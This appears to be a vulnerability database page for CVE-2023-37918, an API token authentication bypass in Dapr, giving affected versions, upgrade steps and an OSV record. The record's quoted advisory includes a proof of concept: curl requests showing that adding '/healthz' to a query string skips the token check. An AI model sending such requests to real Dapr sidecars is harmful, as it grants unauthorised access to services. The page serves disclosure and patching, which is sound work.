CVE-2023-37918: Github.com/dapr/dapr Authentication Bypass Vulnerability
MODERATECVE-2023-37918 is a MODERATE (CVSS 6.8) authentication bypass vulnerability (CWE-287: Improper Authentication) affecting Github.com/dapr/dapr libraries in the Go ecosystem. The issue involves dapr api token authentication bypass in http endpoints. Remediation is available by upgrading affected packages to version 1.11.2, 1.10.9.
CVE-2023-37918 at a Glance
Security Impact
CVSS: 6.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N).
How to Fix CVE-2023-37918
To remediate this vulnerability, upgrade all affected Github.com/dapr/dapr dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/dapr/dapr to 1.11.2
Upgrade github.com/dapr/dapr to 1.10.9
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/dapr/dapr
How to Check if You Are Affected
To determine whether your application is affected by CVE-2023-37918, inspect your project dependencies for Github.com/dapr/dapr:
inspect dependencies for github.com/dapr/dapr
Analyze the terminal output to locate any version of Github.com/dapr/dapr in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.11.2), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-287: Improper Authentication, where when an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct. In Github.com/dapr/dapr, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2023-37918 Affected Github.com/dapr/dapr Versions
2 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/dapr/dapr
|
Go |
≥ 1.11.0
< 1.11.2
|
1.11.2
|
|
github.com/dapr/dapr
|
Go |
< 1.10.9
|
1.10.9
|
References
Frequently Asked Questions
What is CVE-2023-37918?
Which Github.com/dapr/dapr versions are affected?
What version fixes CVE-2023-37918?
Is github.com/dapr/dapr affected?
What is the CVSS score of CVE-2023-37918?
What CWE is associated with CVE-2023-37918?
How can I check Go dependencies for CVE-2023-37918?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-59m6-82qm-vqgj",
"modified" : "2023-07-21T20:17:36Z",
"published" : "2023-07-21T20:17:36Z",
"aliases" : [ "CVE-2023-37918" ],
"summary" : "Dapr API token authentication bypass in HTTP endpoints",
"details" : "### Summary\n\n\nA vulnerability has been found in Dapr that allows bypassing [API token authentication](https://docs.dapr.io/operations/security/api-token/), which is used by the Dapr sidecar to authenticate calls coming from the application, with a well-crafted HTTP request.\n\n\nUsers who leverage API token authentication are encouraged to upgrade Dapr to 1.10.9 and 1.11.2.\n\n\n### Impact\n\n\nThis vulnerability impacts Dapr users who have configured API token authentication. An attacker could craft a request that is always allowed by the Dapr sidecar over HTTP, even if the `dapr-api-token` in the request is invalid or missing.\n\n\n### Patches\n\n\nThe issue has been fixed in Dapr 1.10.9 and 1.11.2.\n\n\n### Details\n\n\nWhen API token authentication is enabled, Dapr requires all calls from applications to include the `dapr-api-token` header, with a value matching what's included in the Dapr's configuration. In order to allow for healthchecks to work, the `/v1.0/healthz` and `/v1.0/healthz/outbound` HTTP APIs are excluded from the API token authentication check, and are always allowed.\n\n\nDapr <= 1.10.8 and <= 1.11.1 implemented the allowlisting of the healthcheck endpoints by permitting all requests whose URL contains `/healthz` to bypass the API token authentication check. The match applied anywhere in the URL, including the querystring.\n\n\nAs a consequence, attackers were able to bypass API token authentication by including `/healthz` anywhere in the URL, including as a querystring parameter. This allowed attackers to invoke any Dapr API using HTTP, including perform service invocation.\n\n\n### Proof of Concept\n\n\n```\n$ curl -v http://localhost:3500/v1.0/metadata\n* Trying ::1:3500...\n* Connected to localhost (::1) port 3500 (#0)\n> GET /v1.0/metadata HTTP/1.1\n> Host: localhost:3500\n> User-Agent: curl/7.74.0\n> Accept: */*\n>\n* Mark bundle as not supporting multiuse\n< HTTP/1.1 401 Unauthorized\n< Date: Mon, 17 Jul 2023 18:13:13 GMT\n< Content-Type: text/plain; charset=utf-8\n< Content-Length: 17\n< Traceparent: 00-00000000000000000000000000000000-0000000000000000-00\n<\n* Connection #0 to host localhost left intact\ninvalid api token\n\n\n$ curl -v http://localhost:3500/v1.0/metadata -H \"dapr-api-token: mytoken\"\n* Trying ::1:3500...\n* Connected to localhost (::1) port 3500 (#0)\n> GET /v1.0/metadata HTTP/1.1\n> Host: localhost:3500\n> User-Agent: curl/7.74.0\n> Accept: */*\n> dapr-api-token: mytoken\n>\n* Mark bundle as not supporting multiuse\n< HTTP/1.1 200 OK\n< Date: Mon, 17 Jul 2023 18:13:26 GMT\n< Content-Type: application/json\n< Content-Length: 119\n< Traceparent: 00-00000000000000000000000000000000-0000000000000000-00\n<\n* Connection #0 to host localhost left intact\n{\"id\":\"foo\",\"actors\":[],\"extended\":{\"daprRuntimeVersion\":\"v1.11.1\"},\"components\":[],\"httpEndpoints\":[],\"subscriptions\":[]}\n\n\n$ curl -v http://localhost:3500/v1.0/metadata?foo=/healthz\n* Trying ::1:3500...\n* Connected to localhost (::1) port 3500 (#0)\n> GET /v1.0/metadata?foo=/healthz HTTP/1.1\n> Host: localhost:3500\n> User-Agent: curl/7.74.0\n> Accept: */*\n>\n* Mark bundle as not supporting multiuse\n< HTTP/1.1 200 OK\n< Date: Mon, 17 Jul 2023 18:13:44 GMT\n< Content-Type: application/json\n< Content-Length: 119\n< Traceparent: 00-00000000000000000000000000000000-0000000000000000-00\n<\n* Connection #0 to host localhost left intact\n{\"id\":\"foo\",\"actors\":[],\"extended\":{\"daprRuntimeVersion\":\"v1.11.1\"},\"components\":[],\"httpEndpoints\":[],\"subscriptions\":[]}\n",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/dapr/dapr"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "1.11.0"
}, {
"fixed" : "1.11.2"
} ]
} ]
}, {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/dapr/dapr"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.10.9"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/dapr/dapr/security/advisories/GHSA-59m6-82qm-vqgj"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2023-37918"
}, {
"type" : "WEB",
"url" : "https://github.com/dapr/dapr/commit/83ca1abb11ffe34211db55dcd36d96b94252827a"
}, {
"type" : "WEB",
"url" : "https://github.com/dapr/dapr/commit/99d6799c97b79397443c8c96737c9b893126a1ae"
}, {
"type" : "WEB",
"url" : "https://docs.dapr.io/operations/security/api-token"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/dapr/dapr"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-287", "CWE-305" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2023-07-21T20:17:36Z",
"nvd_published_at" : "2023-07-21T21:15:11Z"
}
}